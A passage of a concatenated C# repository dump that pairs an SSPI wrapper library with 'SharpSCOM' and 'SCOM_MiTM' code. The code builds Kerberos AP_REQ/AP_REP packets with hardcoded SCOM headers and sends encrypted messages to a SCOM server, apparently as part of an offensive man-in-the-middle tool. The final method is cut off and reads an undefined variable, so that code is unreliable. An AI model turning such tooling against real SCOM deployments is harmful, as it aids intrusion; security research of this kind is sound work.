118 | return arguments;
119 | }
120 | }
121 | }
122 |
--------------------------------------------------------------------------------
/nsspi/NSspi/SecPkgInfo.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi
5 | {
6 | ///
7 | /// Stores information about a particular security package.
8 | ///
9 | [StructLayout( LayoutKind.Sequential )]
10 | public class SecPkgInfo
11 | {
12 | ///
13 | /// The packages capabilities and options.
14 | ///
15 | public SecPkgCapability Capabilities;
16 |
17 | ///
18 | /// The package's version number.
19 | ///
20 | public short Version;
21 |
22 | ///
23 | /// The package's Id when used in RPC contexts.
24 | ///
25 | public short RpcId;
26 |
27 | ///
28 | /// The maximum size, in bytes, of tokens generated by the package.
29 | ///
30 | public int MaxTokenLength;
31 |
32 | ///
33 | /// The human-readable name of the package.
34 | ///
35 | [MarshalAs( UnmanagedType.LPWStr )]
36 | public string Name;
37 |
38 | ///
39 | /// A short description of the package.
40 | ///
41 | [MarshalAs( UnmanagedType.LPWStr )]
42 | public string Comment;
43 | }
44 |
45 | ///
46 | /// Describes the capabilities of a security package.
47 | ///
48 | [Flags]
49 | public enum SecPkgCapability : uint
50 | {
51 | ///
52 | /// Whether the package supports generating messages with integrity information. Required for MakeSignature and VerifySignature.
53 | ///
54 | Integrity = 0x1,
55 |
56 | ///
57 | /// Whether the package supports generating encrypted messages. Required for EncryptMessage and DecryptMessage.
58 | ///
59 | Privacy = 0x2,
60 |
61 | ///
62 | /// Whether the package uses any other buffer information than token buffers.
63 | ///
64 | TokenOnly = 0x4,
65 |
66 | ///
67 | /// Whether the package supports datagram-style authentication.
68 | ///
69 | Datagram = 0x8,
70 |
71 | ///
72 | /// Whether the package supports creating contexts with connection semantics
73 | ///
74 | Connection = 0x10,
75 |
76 | ///
77 | /// Multiple legs are neccessary for authentication.
78 | ///
79 | MultiLeg = 0x20,
80 |
81 | ///
82 | /// Server authentication is not supported.
83 | ///
84 | ClientOnly = 0x40,
85 |
86 | ///
87 | /// Supports extended error handling facilities.
88 | ///
89 | ExtendedError = 0x80,
90 |
91 | ///
92 | /// Supports client impersonation on the server.
93 | ///
94 | Impersonation = 0x100,
95 |
96 | ///
97 | /// Understands Windows princple and target names.
98 | ///
99 | AcceptWin32Name = 0x200,
100 |
101 | ///
102 | /// Supports stream semantics
103 | ///
104 | Stream = 0x400,
105 |
106 | ///
107 | /// Package may be used by the Negiotiate meta-package.
108 | ///
109 | Negotiable = 0x800,
110 |
111 | ///
112 | /// Compatible with GSS.
113 | ///
114 | GssCompatible = 0x1000,
115 |
116 | ///
117 | /// Supports LsaLogonUser
118 | ///
119 | Logon = 0x2000,
120 |
121 | ///
122 | /// Token buffers are in Ascii format.
123 | ///
124 | AsciiBuffers = 0x4000,
125 |
126 | ///
127 | /// Supports separating large tokens into multiple buffers.
128 | ///
129 | Fragment = 0x8000,
130 |
131 | ///
132 | /// Supports mutual authentication between a client and server.
133 | ///
134 | MutualAuth = 0x10000,
135 |
136 | ///
137 | /// Supports credential delegation from the server to a third context.
138 | ///
139 | Delegation = 0x20000,
140 |
141 | ///
142 | /// Supports calling EncryptMessage with the read-only-checksum flag, which protects data only
143 | /// with a checksum and does not encrypt it.
144 | ///
145 | ReadOnlyChecksum = 0x40000,
146 |
147 | ///
148 | /// Whether the package supports handling restricted tokens, which are tokens derived from existing tokens
149 | /// that have had restrictions placed on them.
150 | ///
151 | RestrictedTokens = 0x80000,
152 |
153 | ///
154 | /// Extends the negotiate package; only one such package may be registered at any time.
155 | ///
156 | ExtendsNego = 0x00100000,
157 |
158 | ///
159 | /// This package is negotiated by the package of type ExtendsNego.
160 | ///
161 | Negotiable2 = 0x00200000,
162 | }
163 | }
--------------------------------------------------------------------------------
/SharpSCOM/Auth/KerberosMessageGenerator.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Common;
2 | using System;
3 | using System.Linq;
4 |
5 | namespace SharpSCOM.Auth
6 | {
7 | public static class KerberosMessageGenerator
8 | {
9 | private static ILogger logger => LoggerFactory.Logger;
10 |
11 | // SCOM protocol headers
12 | private static readonly byte[] SCOM_AP_REQ_HEADER_1 = new byte[]
13 | {
14 | 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x7d, 0x1c, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
15 | 0x02, 0x00, 0x00, 0x00, 0xf0, 0x23, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
16 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
17 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
18 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
19 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
21 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
25 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
27 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
28 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
29 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
30 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
31 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
32 | 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00
33 | };
34 |
35 | private static readonly byte[] SCOM_AP_REQ_HEADER_2 = new byte[]
36 | {
37 | 0x04, 0xe4, 0xf4, 0x9f
38 | };
39 |
40 | private static readonly byte[] SCOM_AP_REP_HEADER = new byte[]
41 | {
42 | 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x71, 0x00, 0x00, 0x00, 0x00, 0x04, 0xe4, 0xf4, 0x9f
43 | };
44 |
45 | // Generate Kerberos AP_REQ message with SCOM protocol headers
46 | public static byte[] GenerateApReq(byte[] clientToken)
47 | {
48 | if (clientToken == null || clientToken.Length == 0)
49 | {
50 | logger.Error("GenerateApReq: clientToken is null or empty");
51 | return null;
52 | }
53 |
54 | try
55 | {
56 | // Calculate first size value (token length + 8)
57 | int size1 = clientToken.Length + 8;
58 | byte[] scom_sspi_bytes_1_size = BitConverter.GetBytes(size1);
59 |
60 | // Calculate second size value (token length)
61 | byte[] scom_sspi_bytes_2_size = BitConverter.GetBytes(clientToken.Length);
62 |
63 | logger.Debug($"GenerateApReq: Token length={clientToken.Length}, Size1={size1}");
64 |
65 | // Create packet
66 | byte[] combinedArray = SCOM_AP_REQ_HEADER_1
67 | .Concat(scom_sspi_bytes_1_size)
68 | .Concat(SCOM_AP_REQ_HEADER_2)
69 | .Concat(scom_sspi_bytes_2_size)
70 | .Concat(clientToken)
71 | .ToArray();
72 |
73 | logger.Debug($"GenerateApReq: Generated packet of {combinedArray.Length} bytes");
74 |
75 | return combinedArray;
76 | }
77 | catch (Exception ex)
78 | {
79 | logger.Error($"Error generating AP_REQ: {ex.Message}", ex);
80 | return null;
81 | }
82 | }
83 |
84 | // Generate Kerberos AP_REP message with SCOM protocol headers
85 | public static byte[] GenerateApRep(byte[] clientToken)
86 | {
87 | if (clientToken == null || clientToken.Length == 0)
88 | {
89 | logger.Error("GenerateApRep: clientToken is null or empty");
90 | return null;
91 | }
92 |
93 | try
94 | {
95 | // Calculate size value
96 | byte[] scom_sspi_bytes_size = BitConverter.GetBytes(clientToken.Length);
97 |
98 | logger.Debug($"GenerateApRep: Token length={clientToken.Length}");
99 |
100 | // Create packet
101 | byte[] combinedArray = SCOM_AP_REP_HEADER
102 | .Concat(scom_sspi_bytes_size)
103 | .Concat(clientToken)
104 | .ToArray();
105 |
106 | logger.Debug($"GenerateApRep: Generated packet of {combinedArray.Length} bytes");
107 |
108 | return combinedArray;
109 | }
110 | catch (Exception ex)
111 | {
112 | logger.Error($"Error generating AP_REP: {ex.Message}", ex);
113 | return null;
114 | }
115 | }
116 | }
117 | }
--------------------------------------------------------------------------------
/SharpSCOM/Auth/SSPIMessageGenerator.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Net.Sockets;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using NSspi;
8 | using NSspi.Contexts;
9 | using NSspi.Credentials;
10 | using SharpSCOM.Common;
11 |
12 | namespace SharpSCOM.Auth
13 | {
14 | class SSPIMessageGenerator : IDisposable
15 | {
16 | private ILogger logger => LoggerFactory.Logger;
17 | private TcpClient _remoteClient;
18 | private NetworkStream _remoteStream;
19 | private ClientContextManager _clientManager;
20 | private string _remoteServer;
21 | private int _remotePort;
22 | private bool _isConnected;
23 | private bool _isAuthenticated;
24 |
25 | // Constructor for persistent connections
26 | public SSPIMessageGenerator(string remoteServer, int remotePort)
27 | {
28 | _remoteServer = remoteServer;
29 | _remotePort = remotePort;
30 | _isConnected = false;
31 | _isAuthenticated = false;
32 | }
33 |
34 | // Connect and authenticate (call once)
35 | public bool Connect()
36 | {
37 | try
38 | {
39 | if (_isConnected)
40 | {
41 | logger.Info("Already connected");
42 | return true;
43 | }
44 |
45 | logger.Info($"Connecting to {_remoteServer}:{_remotePort}");
46 |
47 | _remoteClient = new TcpClient(_remoteServer, _remotePort);
48 | _remoteStream = _remoteClient.GetStream();
49 |
50 | _isConnected = true;
51 |
52 | // Perform initial SSPI authentication
53 | logger.Info("Performing Kerberos SSPI authentication...");
54 | _clientManager = new ClientContextManager();
55 | ClientContext clientContext = _clientManager.CreateContext(_remoteServer);
56 | clientContext = _clientManager.ProcessInitialRequest(_remoteStream, _remoteServer);
57 |
58 | _isAuthenticated = true;
59 |
60 | return true;
61 | }
62 | catch (Exception ex)
63 | {
64 | logger.Error($"connecting to server: {ex.Message}");
65 | Disconnect();
66 | return false;
67 | }
68 | }
69 |
70 | // Send message and receive response (reuse connection)
71 | public byte[] SendMessage(byte[] payload)
72 | {
73 | try
74 | {
75 | if (!_isConnected || !_isAuthenticated)
76 | {
77 | logger.Error("Not connected or authenticated. Call Connect() first.");
78 | return null;
79 | }
80 |
81 | if (!_remoteClient.Connected)
82 | {
83 | logger.Error("Connection lost.");
84 | Disconnect();
85 | return null;
86 | }
87 |
88 | // Encrypt and send the payload
89 | logger.Info($"Sending {payload.Length} bytes to server...");
90 | byte[] encryptedPayload = _clientManager.EncryptWrapToken(payload);
91 | _remoteStream.Write(encryptedPayload, 0, encryptedPayload.Length);
92 | _remoteStream.Flush();
93 |
94 | // Receive and decrypt the response
95 | logger.Info("Waiting for server response...");
96 | byte[] responseMessage = _clientManager.DecryptWrapToken(_remoteStream);
97 |
98 | if (responseMessage != null)
99 | {
100 | logger.Info($"Received {responseMessage.Length} bytes from server");
101 | return responseMessage;
102 | }
103 | else
104 | {
105 | logger.Error("No response received from server");
106 | return null;
107 | }
108 | }
109 | catch (Exception ex)
110 | {
111 | logger.Error($"Error sending message: {ex.Message}");
112 | logger.Error($"Stack trace: {ex.StackTrace}");
113 |
114 | // Connection is broken, clean up
115 | Disconnect();
116 | return null;
117 | }
118 | }
119 |
120 | // Disconnect and cleanup
121 | public void Disconnect()
122 | {
123 | try
124 | {
125 | if (_remoteStream != null)
126 | {
127 | _remoteStream.Close();
128 | _remoteStream.Dispose();
129 | _remoteStream = null;
130 | }
131 |
132 | if (_remoteClient != null)
133 | {
134 | _remoteClient.Close();
135 | _remoteClient.Dispose();
136 | _remoteClient = null;
137 | }
138 |
139 | _isConnected = false;
140 | _isAuthenticated = false;
141 |
142 | logger.Info("Disconnected from server");
143 | }
144 | catch (Exception ex)
145 | {
146 | logger.Error($"ERROR during disconnect: {ex.Message}");
147 | }
148 | }
149 |
150 | // Check if connected
151 | public bool IsConnected()
152 | {
153 | return _isConnected && _isAuthenticated && _remoteClient != null && _remoteClient.Connected;
154 | }
155 |
156 | public void Dispose()
157 | {
158 | Disconnect();
159 | }
160 | }
161 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Contexts/ContextAttrib.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Contexts
4 | {
5 | ///
6 | /// Defines options for creating a security context via win32 InitializeSecurityContext
7 | /// (used by clients) and AcceptSecurityContext (used by servers).
8 | /// Required attribute flags are specified when creating the context. InitializeSecurityContext
9 | /// and AcceptSecurityContext returns a value indicating what final attributes the created context
10 | /// actually has.
11 | ///
12 | [Flags]
13 | public enum ContextAttrib : int
14 | {
15 | ///
16 | /// No additional attributes are provided.
17 | ///
18 | Zero = 0,
19 |
20 | ///
21 | /// The server can use the context to authenticate to other servers as the client. The
22 | /// MutualAuth flag must be set for this flag to work. Valid for Kerberos. Ignore this flag for
23 | /// constrained delegation.
24 | ///
25 | Delegate = 0x00000001,
26 |
27 | ///
28 | /// The mutual authentication policy of the service will be satisfied.
29 | /// *Caution* - This does not necessarily mean that mutual authentication is performed, only that
30 | /// the authentication policy of the service is satisfied. To ensure that mutual authentication is
31 | /// performed, query the context attributes after it is created.
32 | ///
33 | MutualAuth = 0x00000002,
34 |
35 | ///
36 | /// Detect replayed messages that have been encoded by using the EncryptMessage or MakeSignature
37 | /// message support functionality.
38 | ///
39 | ReplayDetect = 0x00000004,
40 |
41 | ///
42 | /// Detect messages received out of sequence when using the message support functionality.
43 | /// This flag implies all of the conditions specified by the Integrity flag - out-of-order sequence
44 | /// detection can only be trusted if the integrity of any underlying sequence detection mechanism
45 | /// in transmitted data can be trusted.
46 | ///
47 | SequenceDetect = 0x00000008,
48 |
49 | // The context must protect data while in transit.
50 | // Confidentiality is supported for NTLM with Microsoft
51 | // Windows NT version 4.0, SP4 and later and with the
52 | // Kerberos protocol in Microsoft Windows 2000 and later.
53 |
54 | ///
55 | /// The context must protect data while in transit. Encrypt messages by using the EncryptMessage function.
56 | ///
57 | Confidentiality = 0x00000010,
58 |
59 | ///
60 | /// A new session key must be negotiated.
61 | /// This value is supported only by the Kerberos security package.
62 | ///
63 | UseSessionKey = 0x00000020,
64 |
65 | ///
66 | /// The security package allocates output buffers for you. Buffers allocated by the security package have
67 | /// to be released by the context memory management functions.
68 | ///
69 | AllocateMemory = 0x00000100,
70 |
71 | ///
72 | /// The security context will not handle formatting messages. This value is the default for the Kerberos,
73 | /// Negotiate, and NTLM security packages.
74 | ///
75 | Connection = 0x00000800,
76 |
77 | ///
78 | /// When errors occur, the remote party will be notified.
79 | ///
80 | ///
81 | /// A client specifies InitExtendedError in InitializeSecurityContext
82 | /// and the server specifies AcceptExtendedError in AcceptSecurityContext.
83 | ///
84 | InitExtendedError = 0x00004000,
85 |
86 | ///
87 | /// When errors occur, the remote party will be notified.
88 | ///
89 | ///
90 | /// A client specifies InitExtendedError in InitializeSecurityContext
91 | /// and the server specifies AcceptExtendedError in AcceptSecurityContext.
92 | ///
93 | AcceptExtendedError = 0x00008000,
94 |
95 | ///
96 | /// Support a stream-oriented connection. Provided by clients.
97 | ///
98 | InitStream = 0x00008000,
99 |
100 | ///
101 | /// Support a stream-oriented connection. Provided by servers.
102 | ///
103 | AcceptStream = 0x00010000,
104 |
105 | ///
106 | /// Sign messages and verify signatures by using the EncryptMessage and MakeSignature functions.
107 | /// Replayed and out-of-sequence messages will not be detected with the setting of this attribute.
108 | /// Set ReplayDetect and SequenceDetect also if these behaviors are desired.
109 | ///
110 | InitIntegrity = 0x00010000,
111 |
112 | ///
113 | /// Sign messages and verify signatures by using the EncryptMessage and MakeSignature functions.
114 | /// Replayed and out-of-sequence messages will not be detected with the setting of this attribute.
115 | /// Set ReplayDetect and SequenceDetect also if these behaviors are desired.
116 | ///
117 | AcceptIntegrity = 0x00020000,
118 |
119 | ///
120 | /// Set by a client; indicates the context can only impersonate with limited privileges,
121 | /// allowing the server only to identify the client when impersonating.
122 | ///
123 | InitIdentify = 0x00020000,
124 |
125 | ///
126 | /// Set by a server; indicates the context can only impersonate with limited privileges,
127 | /// allowing the server only to identify the client when impersonating.
128 | ///
129 | AcceptIdentify = 0x00080000,
130 |
131 | ///
132 | /// An Schannel provider connection is instructed to not authenticate the server automatically.
133 | ///
134 | InitManualCredValidation = 0x00080000,
135 |
136 | ///
137 | /// An Schannel provider connection is instructed to not authenticate the client automatically.
138 | ///
139 | InitUseSuppliedCreds = 0x00000080,
140 | }
141 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/Credential.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace NSspi.Credentials
6 | {
7 | ///
8 | /// Provides access to the pre-existing credentials of a security principle.
9 | ///
10 | public class Credential : IDisposable
11 | {
12 | ///
13 | /// The name of the security package that controls the credential.
14 | ///
15 | private readonly string securityPackage;
16 |
17 | ///
18 | /// Whether the Credential has been disposed.
19 | ///
20 | private bool disposed;
21 |
22 | ///
23 | /// A safe handle to the credential's handle.
24 | ///
25 | private SafeCredentialHandle safeCredHandle;
26 |
27 | ///
28 | /// The UTC time the credentials expire.
29 | ///
30 | private DateTime expiry;
31 |
32 | ///
33 | /// Initializes a new instance of the Credential class.
34 | ///
35 | /// The security package to acquire the credential from.
36 | public Credential( string package )
37 | {
38 | this.securityPackage = package;
39 |
40 | this.disposed = false;
41 | this.expiry = DateTime.MinValue;
42 | this.PackageInfo = PackageSupport.GetPackageCapabilities( this.SecurityPackage );
43 | }
44 |
45 | ///
46 | /// Gets metadata for the security package associated with the credential.
47 | ///
48 | public SecPkgInfo PackageInfo { get; private set; }
49 |
50 | ///
51 | /// Gets the name of the security package that owns the credential.
52 | ///
53 | public string SecurityPackage
54 | {
55 | get
56 | {
57 | CheckLifecycle();
58 |
59 | return this.securityPackage;
60 | }
61 | }
62 |
63 | ///
64 | /// Returns the User Principle Name of the credential. Depending on the underlying security
65 | /// package used by the credential, this may not be the same as the Down-Level Logon Name
66 | /// for the user.
67 | ///
68 | public string PrincipleName
69 | {
70 | get
71 | {
72 | QueryNameAttribCarrier carrier;
73 | SecurityStatus status;
74 | string name = null;
75 | bool gotRef = false;
76 |
77 | CheckLifecycle();
78 |
79 | status = SecurityStatus.InternalError;
80 | carrier = new QueryNameAttribCarrier();
81 |
82 | RuntimeHelpers.PrepareConstrainedRegions();
83 | try
84 | {
85 | this.safeCredHandle.DangerousAddRef( ref gotRef );
86 | }
87 | catch( Exception )
88 | {
89 | if( gotRef == true )
90 | {
91 | this.safeCredHandle.DangerousRelease();
92 | gotRef = false;
93 | }
94 | throw;
95 | }
96 | finally
97 | {
98 | if( gotRef )
99 | {
100 | status = CredentialNativeMethods.QueryCredentialsAttribute_Name(
101 | ref this.safeCredHandle.rawHandle,
102 | CredentialQueryAttrib.Names,
103 | ref carrier
104 | );
105 |
106 | this.safeCredHandle.DangerousRelease();
107 |
108 | if( status == SecurityStatus.OK && carrier.Name != IntPtr.Zero )
109 | {
110 | try
111 | {
112 | name = Marshal.PtrToStringUni( carrier.Name );
113 | }
114 | finally
115 | {
116 | NativeMethods.FreeContextBuffer( carrier.Name );
117 | }
118 | }
119 | }
120 | }
121 |
122 | if( status.IsError() )
123 | {
124 | throw new SSPIException( "Failed to query credential name", status );
125 | }
126 |
127 | return name;
128 | }
129 | }
130 |
131 | ///
132 | /// Gets the UTC time the credentials expire.
133 | ///
134 | public DateTime Expiry
135 | {
136 | get
137 | {
138 | CheckLifecycle();
139 |
140 | return this.expiry;
141 | }
142 |
143 | protected set
144 | {
145 | CheckLifecycle();
146 |
147 | this.expiry = value;
148 | }
149 | }
150 |
151 | ///
152 | /// Gets a handle to the credential.
153 | ///
154 | public SafeCredentialHandle Handle
155 | {
156 | get
157 | {
158 | CheckLifecycle();
159 |
160 | return this.safeCredHandle;
161 | }
162 |
163 | protected set
164 | {
165 | CheckLifecycle();
166 |
167 | this.safeCredHandle = value;
168 | }
169 | }
170 |
171 | ///
172 | /// Releases all resources associated with the credential.
173 | ///
174 | public void Dispose()
175 | {
176 | Dispose( true );
177 | GC.SuppressFinalize( this );
178 | }
179 |
180 | ///
181 | /// Releases all resources associted with the credential.
182 | ///
183 | ///
184 | protected virtual void Dispose( bool disposing )
185 | {
186 | if( this.disposed == false )
187 | {
188 | if( disposing )
189 | {
190 | this.safeCredHandle.Dispose();
191 | }
192 |
193 | this.disposed = true;
194 | }
195 | }
196 |
197 | private void CheckLifecycle()
198 | {
199 | if( this.disposed )
200 | {
201 | throw new ObjectDisposedException( "Credential" );
202 | }
203 | }
204 | }
205 | }
--------------------------------------------------------------------------------
/SCOMClient/MessageGenerator.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO.Compression;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace SCOM_MiTM
10 | {
11 | static class MessageGenerator
12 | {
13 | public static byte[] GenerateApReq(byte[] clientToken)
14 | {
15 | // SCOM headers
16 | byte[] scom_ap_req_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x7d, 0x1c, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xf0, 0x23, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 };
17 | byte[] scom_ap_req_2_header = { 0x04, 0xe4, 0xf4, 0x9f }; //static value
18 |
19 | // Calculate first size value
20 | byte[] scom_sspi_bytes_1_size = BitConverter.GetBytes(clientToken.Length + 8);
21 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {BitConverter.ToString(scom_sspi_bytes_1_size)}");
22 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {clientToken.Length + 8}");
23 |
24 | // Calculate second size value
25 | byte[] scom_sspi_bytes_2_size = BitConverter.GetBytes(clientToken.Length);
26 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {BitConverter.ToString(scom_sspi_bytes_2_size)}");
27 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {clientToken.Length}");
28 |
29 | // Create packet
30 | byte[] combinedArray = scom_ap_req_1_header.Concat(scom_sspi_bytes_1_size)
31 | .Concat(scom_ap_req_2_header)
32 | .Concat(scom_sspi_bytes_2_size)
33 | .Concat(clientToken)
34 | .ToArray();
35 |
36 | //Console.WriteLine($"[REMOTE CLIENT]: scom_payload: {BitConverter.ToString(combinedArray)}");
37 |
38 | return combinedArray;
39 | }
40 |
41 | public static byte[] GenerateApRep(byte[] clientToken)
42 | {
43 | // SCOM headers
44 | byte[] scom_ap_rep_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x71, 0x00, 0x00, 0x00, 0x00, 0x04, 0xe4, 0xf4, 0x9f }; //static value
45 |
46 | // Calculate size value
47 | byte[] scom_sspi_bytes_size = BitConverter.GetBytes(clientToken.Length);
48 | //Console.WriteLine($"SERVER DEBUG MESSAGE 1: scom_sspi_bytes_size: {BitConverter.ToString(scom_sspi_bytes_size)}");
49 |
50 | // Create packet
51 | byte[] combinedArray = scom_ap_rep_1_header.Concat(scom_sspi_bytes_size)
52 | .Concat(clientToken)
53 | .ToArray();
54 |
55 | //Console.WriteLine($"CLIENT DEBUG MESSAGE 1: scom_payload: {BitConverter.ToString(combinedArray)}");
56 |
57 | return combinedArray;
58 | }
59 |
60 | public static byte[] GenerateMOMHeader(byte[] plaintext_data)
61 | {
62 | try
63 | {
64 | // SCOM headers
65 | byte[] scom_mom_header = { 0x9e, 0x45, 0x24, 0x08 };
66 |
67 | // SCOM msg count (hardcoded to 1 for now)
68 | byte[] scom_mom_msg_count = { 0x01, 0x00, 0x00, 0x00 };
69 |
70 |
71 |
72 | using (MemoryStream memStream = new MemoryStream(dec_kerb_wrap_bytes))
73 | {
74 | // hardcoded length of header (decrypted kerberos wrap token)
75 | int dec_kerb_wrap_header = 12;
76 |
77 | byte[] dec_wrap_header_bytes = new byte[dec_kerb_wrap_header];
78 |
79 | int bytesRead = memStream.Read(dec_wrap_header_bytes, 0, dec_wrap_header_bytes.Length);
80 |
81 | // Extract the zlib compressed size from the decrypted wrap token (little endian)
82 | byte[] zlib_size_bytes = new byte[4];
83 | bytesRead = memStream.Read(zlib_size_bytes, 0, zlib_size_bytes.Length);
84 |
85 | int zlib_size_int = BitConverter.ToInt32(zlib_size_bytes, 0);
86 |
87 | //Console.WriteLine($"SERVER DEBUG MESSAGE 1: dec_wrap_header_bytes: {BitConverter.ToString(dec_wrap_header_bytes)}");
88 | //Console.WriteLine($"SERVER DEBUG MESSAGE 2: zlib_size_int: {zlib_size_int}");
89 |
90 | // Skip over zlib header bytes (0x78, 0x9C)
91 | bytesRead = memStream.Read(new byte[2], 0, 2);
92 |
93 | byte[] zlib_data = new byte[zlib_size_int];
94 | bytesRead = memStream.Read(zlib_data, 0, zlib_data.Length);
95 |
96 | byte[] zlib_data_decompressed = DecompressZlib(zlib_data);
97 |
98 | //Console.WriteLine($"SERVER DEBUG MESSAGE 3 (decompressed zlib_data): {BitConverter.ToString(zlib_data_decompressed)}");
99 | //Console.WriteLine($"SERVER DEBUG MESSAGE 3 (decompressed zlib_data base64): {Convert.ToBase64String(zlib_data_decompressed)}");
100 |
